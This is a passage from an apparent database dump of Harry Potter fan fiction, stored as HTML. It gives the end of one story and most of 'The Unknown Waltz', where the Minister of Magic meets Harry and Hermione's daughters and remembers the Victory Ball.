cut with a knife, and began to feel the same oppressive weight on his shoulders.&nbsp; He felt a cool hand on his suddenly sweaty palms, and he entwined his fingers with Hermione&#8217;s &#8211; a move that was not lost on three of the four adults present.</p>\n\n<p>Dumbledore lowered his hands and surveyed Harry through his half-moon glasses. </p>\n\n<p>&#8220;It is time,&#8221; he said, &#8220;for me to tell you what I should have told you five years ago, Harry.&nbsp; </p>\n\n<p>&#8220;Please sit down. I am going to tell you everything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The End</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(126, 1, '\n\n\n\n<p class="MsoTitle">The Unknown Waltz</p>\n\n<p class="MsoBodyTextFirstIndent">Silence rules.</p>\n\n<p class="MsoBodyTextFirstIndent">Hogwarts Castle was quiet &#8211; a silence imposed\nover much of its corridors by the curfew still enforced on the student\npopulation of the school.&nbsp; As such, the\nmajority were already ensconced in their beds, or in their Common Rooms,\nstudying, playing Exploding Snap or Wizard&#8217;s Chess, planning strategies for the\nupcoming Quidditch matches &#8230; or simply -- resting.</p>\n\n<p class="MsoBodyTextFirstIndent">The silence of the corridors was broken,\nhowever, by the sound of footsteps as Minister of Magic Dame Amanda Rivers walked\ntowards her overnight accommodations in the castle.&nbsp; Head Girl Ashley and her counterpart, Brian, were escorting her,\nboth of them engrossed in their thoughts &#8230; doubtless, going over the matters\ndiscussed in their after-dinner meeting with newly-appointed Headmaster Shirley\nPatterson (who had replaced the recently retired Minerva McGonagall) &#8230; and both\nhoping for a restful sleep in their warm beds within a few minutes.</p>\n\n<p class="MsoBodyTextFirstIndent">Sleep, however, was the last thing on Dame Rivers&#8217;\nmind that night.&nbsp; She hadn&#8217;t walked the\nonce-familiar hallways of Hogwarts Castle in <i>years</i> &#8230; but she found\nherself constantly assailed by memories, both sweet and sad, as she passed\nrecognizable landmarks and ghosts, took a look at the office and classrooms she\nonce occupied when she was teaching Medicinal Magic so many years before &#8211; and\nsmiled at the various groups of students who passed by.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;<i>Everything I knew I learned in kindergarten</i>,&#8217;\nshe thought to herself, remembering the title of a Muggle book that her husband\nhad given her years before.&nbsp; &#8216;<i>Except\nthat the most important lesson I learned came from </i>here<i> &#8230; and to think,\nI was already </i>teaching <i>when I learned it &#8230;</i>&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">And she smiled to herself, a secret, knowing\nsmile &#8230; &#8216;<i>Learning&#8217;</i>, she quoted from another Muggle book her husband\nbought for her, &#8216;<i>is finding out about the things you already know</i>.&#8217; She\ndidn&#8217;t <i>know</i> that she had the <i>lesson</i> already within her &#8230; it just\ntook a set of very special circumstances to bring it out, and the lesson she\nhad imparted was as much a learning for her as it was for that other person.</p>\n\n<p class="MsoBodyTextFirstIndent">She glanced at her companions &#8230; &#8216;<i>I wonder if\nthey&#8217;ve already learned </i>that <i>lesson</i>,&#8217; she thought, and her inner\nsmile broadened (to the point that her face was actually <i>glowing</i> from\nher mirth) as she thought of her husband of many years. &#8216;<i>If it weren&#8217;t for </i>that\n<i>lesson</i>,&#8217; she thought, &#8216;<i>Lordy, Lordy! What mistakes I would have made!\nIf it weren&#8217;t for </i>them &#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">She&#8217;d been so engrossed in her thoughts (and\nher inner smile) that she&#8217;d actually walked a few paces past her companions &#8211;\nboth of whom had stopped when they heard a faint piano melody emanating from\nthe Great Hall. Surprised, she looked at them &#8230; and she heard the same melody\nthat had stopped them in their tracks.</p>\n\n<p class="MsoBodyTextFirstIndent">It was a slow, melodic waltz which evoked\nfeelings of romance, love, companionship &#8230; <i>togetherness</i>.&nbsp; It seemed as if a whole range of emotions\nhad been incorporated into the waltz &#8230; and like all magical waltzes, it had the\npower to capture them and push them gently into a dance (or a trance, whichever\nthe case may be!)</p>\n\n<p class="MsoBodyTextFirstIndent">For Dame Rivers, however, the melody brought\nher mind and memories back a quarter century before &#8230; and she wondered, by what\norder of <i>magic</i> did the castle have, to bring back the <i>single</i> cue\nthat brought along with it the most powerful memory of that night &#8211; and the\nlesson that she had taught &#8211; and <i>learned</i> -- so many years before?</p>\n\n<p class="MsoBodyTextFirstIndent">She glanced at her companions &#8211; and felt a wave\nof disappointment wash through her for a brief instant.&nbsp; Rather than being captivated by the melody\nemanating from the Great Hall, the Head Girl and her counterpart were\nexchanging glances that made it clear what was on their minds: <i>who</i> was\nout violating curfew this night of all nights, when the Minister of Magic was\nvisiting &#8211; and how many House points would they be able to take from the offender,\nor offenders?</p>\n\n<p class="MsoBodyTextFirstIndent">She shook her head in exasperation and, without\na word to her companions, walked over to the Great Hall, where she opened the\ndoors and peeked in &#8230; to be greeted by a most wondrous sight.</p>\n\n<p class="MsoBodyTextFirstIndent">Seated at the grand piano, which former Headmistress\nMinerva McGonagall had brought in years before as&nbsp; a tribute to Professor Dumbledore, was a young girl with long,\nbushy brown hair wearing <i>ancient</i> Gryffindor Quidditch robes, playing the\nmelody that captivated Dame Rivers &#8211; the melody that had brought a wave of\nmemories crashing down on her.&nbsp; Standing\nbeside the girl on the piano was a younger girl who looked almost enough like\nthe first to be a twin &#8211; except for bushy, midnight-black hair that looked as\nif a comb had despaired of ever taming it. This girl was also engrossed in the\nmusic &#8211; eyes closed, she was waving her wand as if she were conducting an\nunseen orchestra, and leading them through the paces of that magical,\nenchanting tune.</p>\n\n<p class="MsoBodyTextFirstIndent">Around them were the various Hogwarts ghosts &#8211;\nthe most prominent being the Bloody Baron and the Fat Friar (both holding\ntankards of butterbeer), who were listening to the music while swaying in time\nto the tune, watching Nearly-Headless Nick and the Grey Lady dancing in a slow,\nstately and dreamy waltz, along with other ghostly pairings.&nbsp; Even Peeves was to one side, floating in\ntime to the tune &#8230; seeming, for once, at peace with the world and up to no harm\n(or perhaps, he was scared of breaking the Baron&#8217;s jovial mood?}</p>\n\n<p class="MsoBodyTextFirstIndent">The ghostly light lent a soft, soothing and, strangely\n<i>romantic </i>ambience to the Great Hall, lit as it was with torches and the\nlight emanating from a full moon through the enchanted roof. An enchanting\nsmile broke out on Dame Rivers&#8217; face &#8211; and with a sharp gesture, she stopped\nHead Boy Brian Yoon from bursting into the Hall and interrupting the ghostly\ndance.</p>\n\n<p class="MsoBodyTextFirstIndent">They stood quietly and watched the on-going\ntableau before them.&nbsp; Soon enough, the\nmusic ended, and the ghostly dancers (led by Sir Nicholas and the Grey Lady)\ncongregated around the blushing young students, congratulating them and\napplauding in their ghostly fashion. Dame Rivers also started clapping, to the\nsurprise of Ashley and Brian &#8230; and walked over to the surprised students,\nfollowed by the Head Boy and Head Girl.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;That was a <i>lovely</i> piece, my dear!&#8221; she\ncongratulated the two girls, who were now standing with mouths agape, dismayed\nat being caught outside their Common Room after curfew. &#8220;It brought back\nmemories &#8230; I know the tune, but never did find out the title of the piece &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Her question was interrupted by the stiff tones\nof the Head Boy, &#8220;What are you doing outside the Common Room, Catriona? It&#8217;s\nafter curfew! Fifty &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I was asking the young lady a question, Mr.\nYoon,&#8221; the Minister of Magic broke in with an icy glare that rivaled the famous\nMcGonagall glare by a good measure, causing the Head Boy to step back in\napology. Her face softened as she turned to the young girl, an eyebrow raised\nin a question &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ummm &#8230; I really wouldn&#8217;t know, Ma&#8217;am,&#8221;\nCatriona answered. &#8220;Mum and Dad always called it &#8216;The Unknown Waltz&#8217;.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Unknown Waltz?&#8221; Dame Rivers frowned at that.\n&#8220;Mum and Dad?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh!&#8221; Head Girl Ashley stepped in, obviously in\nan effort to call attention away from her counterpart&#8217;s <i>faux pas</i> with\nthe Minister. &#8220;Dame Rivers, may I introduce Catriona Rhiannon Potter, sometimes\nknown as Catsky, and her sister, Elise.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers&#8217; face lit up at that, &#8220;You&#8217;re Harry\nand Hermione&#8217;s daughters? I should have known &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Catsky&#8217;s face mirrored surprise and curiosity\nas she shook hands with the Minister of Magic; her sister, however, asked (with\nthe same directness that characterized their famous mother), &#8220;Yes, Ma&#8217;am &#8230; were\nyou classmates with them?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers&#8217; smile widened even more. &#8220;Thank\nyou for the complement, my dear! But no &#8230; I was teaching at Hogwarts when they\nwere students.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Oh,&#8221; a clearly embarrassed Elise Potter\nmurmured.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;No need to be embarrassed, my dear,&#8221; Dame Rivers\nsaid with a grin. &#8220;I consider it a complement to be mistaken for a <i>classmate</i>\nof your parents &#8230; it means I&#8217;m not <i>that</i> old!&#8221; The two girls looked at\nher and smiled, and she continued, &#8220;But that piece you were playing, Catsky &#8230;\nthe &#8216;Unknown Waltz&#8217;?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I really wouldn&#8217;t know, Ma&#8217;am,&#8221; Catsky\nreplied. &#8220;As I said, Mum and Dad always called it &#8216;The Unknown Waltz.&#8217; I never\nreally did try to find out what was the title of that piece &#8230; you see, I asked\nmy Dad to teach me how to play it when I was very young &#8230; he just showed me how\nto play it &#8230; no sheet music or anything,&#8221; Catsky suddenly stopped as she\nrealized that she was rambling. In a small voice, she said, &#8220;I&#8217;m sorry &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t worry about it, my dear,&#8221; replied Dame Rivers,\nwith a soft laugh. &#8220;You sound just like your mother. I assume the two of you\nare doing well in class?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Top of their years, both of them, Ma&#8217;am,&#8221;\nBrian replied. &#8220;Although they both have a tendency to break the rules &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Just like Harry and Hermione, I presume,&#8221; Dame\nRivers said with a smile at the two, and a glare at the Head Boy. &#8220;Or are they\nmore like Gred and Forge Weasley?&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">She looked at the confused faces of the older\nstudents (and the delighted smiles of the younger ones) and sighed &#8211; it <i>had </i>been\nquite a few years, after all! &#8220;Never mind &#8230; let&#8217;s make ourselves comfortable.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She walked over to one of the tables\n(unconsciously, she had walked over to the Gryffindor table &#8211; some things are\nnever <i>quite</i> forgotten), and with a wave of her wand, conjured a tea pot\nwith cups, sugar and cream, along with a tray of sandwiches. As she gestured\nthe others to have a seat, she turned to the ghosts who were still hovering\naround and invited them to join (apologizing as she realized that they would\nnot be able to eat with them).</p>\n\n<p class="MsoBodyTextFirstIndent">Before she sat down, however, she saw a slight\nmovement out of the corner of her eye, and she swiftly turned, wand out and\nready. &#8220;Peeves!&#8221; she barked out, &#8220;Try that and I swear on the spirit of Albus\nDumbledore that I&#8217;ll have you locked up in a broom closet with Moaning Myrtle!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">There was a chorus of &#8216;Oooohs!&#8217; from the\nassembled ghosts (along with a ghostly snicker from the Bloody Baron) &#8230; and\nthey watched a surprised and infuriated Peeves zoom out of the Great Hall.</p>\n\n<p class="MsoBodyTextFirstIndent">The Minister of Magic sat down at the head of\nthe table, and smiled at the assembled students and ghosts. &#8220;Now, where were\nwe? Oh, yes,&#8221; and she turned to the two sisters, &#8220;&#8217;The Unknown Waltz&#8217;?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The sisters looked at each other and, with a\nsmall gesture from Elise, Catsky answered, &#8220;It&#8217;s like this, Ma&#8217;am. Dad told me\nthat the first time they ever danced together was to that song &#8230; and that, for\nsome reason or other, they always knew that it would be <i>their</i> song ...\nIn any case, every time they go to a party &#8230; someone always plays that song,\nusually late at night or just before the party is about to end &#8230; it&#8217;s like a\nsignal to them.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;A signal?&#8221; Ashley asked, now also interested.</p>\n\n<p class="MsoBodyTextFirstIndent">Elise took up the story. &#8220;Yes, Ma&#8217;am,&#8221; she said\npolitely. &#8220;Mum said that when she hears the song being played, she&#8217;d stop\nwhatever it was she was doing, look for Dad so that they could have at least\none dance together &#8230; after which, they can make their good byes and go home.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Catsky, nodding at Elise, continued the tale of\nthe Unknown Waltz, &#8220;The first time I heard it, Dad and Mum had to bring us\nbecause they couldn&#8217;t get a baby sitter. I was sneaking around watching them\n&#8230;Elise was tagging after me, of course &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hmph,&#8221; her sister said. &#8220;But it was so &#8230; I\ndon&#8217;t know how to describe it. Cats?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Beautiful. Wonderful. Lovely. Sappy. Dad said\nthey&#8217;d been doing it since that first dance,&#8221; Catsky continued, not noticing\nthat Dame Rivers&#8217; eyes had glazed over &#8230; a wistful smile playing over her face\nas her mind and memories were sent back almost a quarter-century before &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">The wizarding world <i>really</i> knew how to\nthrow a party, Dame Rivers thought &#8211; and Hogwarts Castle was no exception.\nShe&#8217;d been a Seventh Year Gryffindor when Voldemort was first defeated by the\ninfant Harry Potter seventeen years before &#8211; and the celebrations <i>this </i>time,\nfollowing the news that Voldermort had been utterly defeated, never to rise\nagain, was even <i>better </i>than anything she could have imagined.</p>\n\n<p class="MsoBodyTextFirstIndent">She looked around at the Great Hall,\ntransformed by the professors and House Elves into a grand ballroom, and she\nwatched the swirl of colors and clothes as students, teachers and VIPs from the\nMinistry of Magic, various embassies, and members of prominent wizarding\nfamilies mingled in small groups, laughing or talking, or danced with either\nsignificant others or momentary dates.</p>\n\n<p class="MsoBodyTextFirstIndent">What made things even sweeter was that The\nDefeat (or The Victory, depending on one&#8217;s age) had happened just before\nChristmas &#8211; pushing the festivities for that year to an even higher plane.&nbsp; There had been parties and balls &#8230; fireworks\nand drinking &#8230; wizards standing in corners all over Muggle Britain to discuss\nwhat had happened, while toasting themselves, each other &#8230; and The Boy Who\nLived, who had finally defeated Voldemort.</p>\n\n<p class="MsoBodyTextFirstIndent">There had been invitations galore sent out all\nover Britain &#8211; and tons of these had been sent to Hogwarts Castle, requesting\nthe presence of Harry Potter at this or that party to be held in his honor &#8230;\nall of which had gone unanswered. Rather than wear out the school owls (to say\nnothing of the staff&#8217;s hands!) in answering every individual letter or\ninvitation, Headmaster Albus Dumbledore had sent word to the Daily Prophet that\nHarry Potter was resting &#8230; and that he would be attending a Victory Ball at\nHogwarts, coinciding with the New Year celebrations &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">She sighed, softly.&nbsp; &#8216;It was a good idea of Dumbledore,&#8217; she thought to herself.&nbsp; &#8216;Harry Potter, after all, is a Hogwarts <i>student</i>,&#8217;\nand Dame Rivers knew, as well as any other person in that room, that this was,\nin fact, Harry&#8217;s only <i>real</i> world.&nbsp;\nWhat better way to celebrate his victory, she&#8217;d thought (along with all\nthe teachers), than with the people who really populated <i>his</i> world?</p>\n\n<p class="MsoBodyTextFirstIndent">Her happiness at being a part of this\ncelebration was tempered with a tinge of worry, however, as she looked across\nthe Hall &#8211; and spotted a small, slim seventeen-year old girl with long, bushy\nbrown hair tamed with either liberal doses of Sleekeazy&#8217;s Hair Potion or an\nadvanced hair-grooming charm, wearing blue periwinkle dress robes, and\nsurrounded by a flock of admirers (both male and female from all ages) &#8230; but\nwhose expertly applied cosmetics could not hide either the pallor of her face,\nor a haunted, hunted look lurking in her brown, cinnamon-flecked eyes.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers shivered as she remembered the\nevents of the past few weeks. What very few people outside the Hogwarts faculty\n(and a <i>very</i> few students) knew was that the triggering event to\nVoldemort&#8217;s downfall had been the kidnapping of Hermione Granger from the\nHogwarts Express on her way home for the Christmas break.</p>\n\n<p class="MsoBodyTextFirstIndent">It was apparent to everyone not deaf, dumb or\nblind that the objective of the attack was to lure Harry Potter out from the\nprotection of Hogwarts Castle &#8230; and to push him into a rash move to rescue the\ngirl he so obviously was in love with. </p>\n\n<p class="MsoBodyTextFirstIndent">What no one &#8211; least of all, <i>Voldemort</i> &#8211;\nhad expected was that the action had merely pushed Harry in the <i>other</i>\ndirection: rather than the anticipated actions of a hormonally-charged teenager\nleading with his wand and his balls, Voldemort and his minions had to face a\ncold, calculating machine tempered by seven years of battles with the Dark Side\n&#8211; and seven <i>years</i> of matching strategies and wits with that master of\nWizard&#8217;s Chess, Ronald Weasley.</p>\n\n<p class="MsoBodyTextFirstIndent"><i>How</i> Harry had finally defeated Voldemort\nwas a mystery that only Harry Potter knew &#8230; when the smoke of battle had\ncleared from Riddle Mansion, the Death Eaters, including Lord Voldemort, had <i>eaten</i>\ndeath, and <i>choked</i> on it &#8211; but there had been no sign of Harry Potter or\nHermione Granger.</p>\n\n<p class="MsoBodyTextFirstIndent">Soon after the magical authorities found the\nremnants of that final battle (led by Ron Weasley, who&#8217;d accompanied Harry to\nthe gates of the mansion before going for help), an urgent summons brought\nDumbledore, McGonagall, Hogwarts Nurse Madame Pomfrey, and Dame Rivers to the\nGranger home &#8211; where they&#8217;d found a bloody and battered Harry Potter slumped on\nthe floor, holding the hand of an equally battered Hermione Granger, asleep in\nher own bed, surrounded by the stuffed toys she&#8217;d loved as a child, as well as\nthe books that were her signature and trademark in Hogwarts.</p>\n\n<p class="MsoBodyTextFirstIndent">The still-shocked Grangers told Dumbledore and\nMcGonagall that Harry appeared at their home earlier that evening, riding a\nbroomstick from who knows where, and carrying the unconscious, but murmuring\nHermione Granger. Harry had said only seven words to them when he showed up at\ntheir home (where they had been waiting in dread anticipation for days for word\nabout their daughter): &#8220;<i>She wanted to come home for Christmas.</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry had carried her up to her room &#8211; and had\npromptly collapsed after he&#8217;d laid her on the bed. The Grangers had been at\ntheir wits&#8217; end as to what to do &#8211; when Hedwig, Harry&#8217;s owl, had shown up and\nstarted tapping on Hermione&#8217;s window.&nbsp;\nThey&#8217;d promptly written a note to Dumbledore, and asked Hedwig to bring\nit to Hogwarts &#8211; the snowy owl apparently knew just what to do &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers shook off the chill she felt. She&#8217;d\njoined the Hogwarts faculty two years before to teach Medicinal Magic, and to\nassist Madam Pomfrey with anticipated casualties in the coming battles with\nVoldemort. It was her background and experience that made Dumbledore include\nher in their visit to the Grangers; she and Poppy Pomfrey had done what they\ncould to heal the various cuts and bruises that the two teenagers had suffered\n(Hermione worst of all, since she had been held prisoner for almost a <i>week</i>\nbefore Harry had rescued her) &#8230; but she, more than the other three, knew that\nwhile the magical body was easily cured, the <i>mind</i> was a different matter\nall together.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers shook the memories off, and looked\naround her.&nbsp; She had taken a break from\nher assigned task of watching the punch bowl &#8211; a task she shared with Minerva\nMcGonagall, a duty made all the more important with the presence of Fred and\nGeorge Weasley (who had arrived with the entire Weasley family to celebrate\nwith Ron), whom <i>no one</i> would trust with either the drinks or the\nfood.&nbsp; Although, she thought (and\nhoped!), that Minerva&#8217;s threat to turn them <i>both</i> into spittoons for the\nuse of the guests would prevent them from slipping anything into the\ncelebration, it was still better to be safe than sorry.</p>\n\n<p class="MsoBodyTextFirstIndent">She stole another quick glance at Hermione\nGranger, who smiled back at her in a reassuring manner (after all, Dame Rivers\nhad spent <i>hours</i> trying to undo the damage done to her), and whispered\nsoftly to herself, &#8220;I hope she will be all right.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;The resilience of youth, Amanda,&#8221; a voice\nwhispered in her ear.&nbsp; Startled, she\nturned around and saw Minerva McGonagall standing beside her, the punch bowl\napparently forgotten, as the latter watched her favorite student. &#8220;It&#8217;s all we\ncan hope for now.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers nodded at that, and asked, &#8220;Has she\n&#8230; um, talked about what happened to her?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;No, she hasn&#8217;t,&#8221; Professor McGonagall\nadmitted. &#8220;I was just talking with her parents before the ball started;\napparently, she either has no memory of what happened &#8230; or she&#8217;s keeping it\nbottled up inside her.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Do you think that Harry Potter &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Memory-Charmed her?&#8221; McGonagall shook her\nhead. &#8220;Harry swears he didn&#8217;t &#8230; as I understand it, she was delirious when he\ngot to her, kept talking about going home for Christmas, which was why he\nbrought her home rather than to Hogwarts &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;So, she either has no knowledge of what\nhappened, or she&#8217;s keeping it to herself.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I&#8217;m betting it&#8217;s the latter, which wouldn&#8217;t be\ngood for her,&#8221; McGonagall replied in a soft voice.&nbsp; Dame Rivers glanced over at Hermione and caught again the haunted\nand eerie look in her eyes as she glanced at her mentor and her healer,\napparently knowing that they were discussing her.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers shook off the shiver that ran down\nher spine at that look, and asked, &#8220;Has she talked with Harry yet?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">McGonagall shook her head, and was about to\nreply when a sudden silence fell over the room.</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I was really <i>surprised</i>,&#8221; the voice of\nHarry and Hermione&#8217;s elder daughter broke into Dame Rivers&#8217; reverie. &#8220;I mean &#8230;\nfrom what Uncle Ron and everyone else said, that they&#8217;d been dating for <i>years</i>\n&#8230; but they said that their <i>first</i> dance was in their <i>seventh</i> year\n&#8211; and they weren&#8217;t even dating then!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;It was the night of the Victory Ball,\nCatriona,&#8221; Dame Rivers said in a soft voice. &#8220;That was in their seventh year &#8230;\nthe year your Dad and Mum defeated Lord Voldemort, the greatest Dark Wizard of\nthe time &#8230; and you&#8217;re right. They weren&#8217;t even <i>dating</i> then &#8230; they were\njust the best of friends &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Ma&#8217;am?&#8221; Dame Rivers shook herself, looking\nback at the stares of the Potter daughters. &#8220;Oh &#8230; nothing, nothing. Just\nsomething I remembered &#8230; but please, continue with your story. I want to hear\nwhat happened at that party &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Catsky and Elise looked at her for a long\nmoment, and then continued, &#8220;Well &#8230; it always seemed that they&#8217;d make a\ndramatic entrance, no matter what they tried to do.&nbsp; The moment they&#8217;d stepped into the room, the whole place will go <i>quiet</i>\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;It was eerie,&#8221; Elise contributed. &#8220;Walking up\nto the house, you could hear the noise for <i>blocks</i> around &#8230; the moment we\nentered, it was &#8230; <i>silence.</i> And then, someone would greet them &#8230; and\nthey&#8217;ll be surrounded by people &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As the two told their impressions of the party,\nDame Rivers&#8217; mind once again floated backwards in time &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter had walked into the Great Hall.</p>\n\n<p class="MsoBodyTextFirstIndent">He stood there quietly, seemingly unaffected by\nthe silence, but his eyes were darting around, searching for something &#8230; or\nsome <i>one</i>. Dame Rivers glanced at the place where she had last seen\nHermione &#8211; and noticed that the latter, like everyone else in the Hall, was\nfrozen in place &#8211; except that, in Hermione&#8217;s case, she was breathing shallowly\nand swiftly &#8211; and the haunted look in her eyes seemed to have been replaced by\na look of sheer terror and fright.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers looked back at Harry Potter and saw\nthat he had seen Hermione &#8211; for the briefest of moments, a warm and caring smile\nbroke out on his worried face, to be replaced by a look of shock, and a look of\n<i>fear</i> that mirrored the expression in Hermione&#8217;s eyes &#8230; and he took a\nstep forward.</p>\n\n<p class="MsoBodyTextFirstIndent">That move, however, appeared to be a signal to\nthe people who had frozen into silence at his entrance.&nbsp; A roar of applause thundered within the room\n&#8230; the orchestra broke into a martial, victorious fanfare &#8230; and Harry Potter\nfound himself suddenly surrounded by people, shaking his hands, clapping him on\nthe back, embracing him &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">He&#8217;d tried to be gracious about it, but Dame Rivers\nsaw that his smile had frozen &#8230; and his emerald-green eyes, behind the glasses\nthat he wore, were alternately torn between looking at all the people trying to\ngreet him &#8211; and searching the room for Hermione &#8230; He&#8217;d tried to fend off the\nattention focused on him, when the orchestra broke into a fast dance number &#8211;\nand he found himself literally dragged to the dance floor by the buxomly matron\nof one of the prominent wizarding families, and practically pushed into the arms\nof the family&#8217;s daughter, who was all a-flutter with being given the first\ndance with The Boy Who Lived and Defeated Voldemort.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers had sniffed at the sight; she knew\nenough about Harry Potter from talking with teachers (and overheard student conversations)\nto know that he was too polite and self-effacing a wizard to refuse the dance\nforced on him by an overbearing (and apparently matchmaking-minded) mother &#8230;\nand she stole a swift glance back at the other star of the evening.</p>\n\n<p class="MsoBodyTextFirstIndent">She expected to see a furious Hermione Granger\nlooking daggers at either the daughter or her scheming mother &#8211; and was shocked\nto see a sad, wistful, but thoroughly <i>understanding</i> smile playing around\nHermione&#8217;s lips.&nbsp; In that swift glance,\nshe also noted that the haunted look in Hermione&#8217;s eyes now included an\nexpression of utmost <i>relief</i> &#8230; as if she had been given a <i>reprieve</i>\nfrom an appointment with the hangman &#8230; and she turned away from the spectacle\non the dance floor (where a dozen wizard <i>paparazzi</i> were snapping\npictures of Harry dancing with some awestruck girl) &#8230; and turned back to her\nown crowd of admirers.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers gave off a deep sigh of\nfrustration.&nbsp; &#8216;They should be\ncelebrating this day <i>together</i>,&#8217; she thought.&nbsp; &#8216;What&#8217;s <i>wrong</i> with them?&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">She was sorely tempted to draw her wand and\nblast that interfering matchmaker and her daughter out of the ballroom, but\nstopped herself.&nbsp; She may be a Hogwarts\nprofessor, she realized, but she was <i>not</i> Harry or Hermione&#8217;s mother &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">And she turned back to the refreshment table,\ndetermined to find something stronger than punch or butterbeer, if she had to\ntransfigure the liquid herself.&nbsp; As she\nturned away, however, an infinitesimal movement caught her eye &#8230; when she\nturned back to confirm what she <i>thought</i> she saw, the moment had passed &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They&#8217;ll be surrounded by their fans &#8230; Dad\nalways had this legion of fan-girls following him around, while a lot of guys\nwill be surrounding Mum &#8230;&#8221; Dame Rivers shook herself again as Catsky Potter&#8217;s\nvoice broke once more into her trance.&nbsp;\nShe glanced around, a little guilty at drifting off again while the\nelder Potter daughter told her story &#8211; and thanked the gods that no one seemed\nto have noticed, engrossed as they all were in Catsky&#8217;s tale. </p>\n\n<p class="MsoBodyTextFirstIndent">She forced herself to listen attentively as\nElise continued the story, &#8220;But they&#8217;d keep moving around &#8230; it took me some\ntime to realize that they were just positioning themselves &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Positioning themselves? Like chess pieces, you\nmean?&#8221; Nearly-Headless Nick asked, now also interested in the tale.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Not really, Sir Nicholas,&#8221; Catriona replied.\n&#8220;They just seemed to position themselves so they could always see each other,\neven surrounded by people &#8230;&#8221;</p>\n\n<p 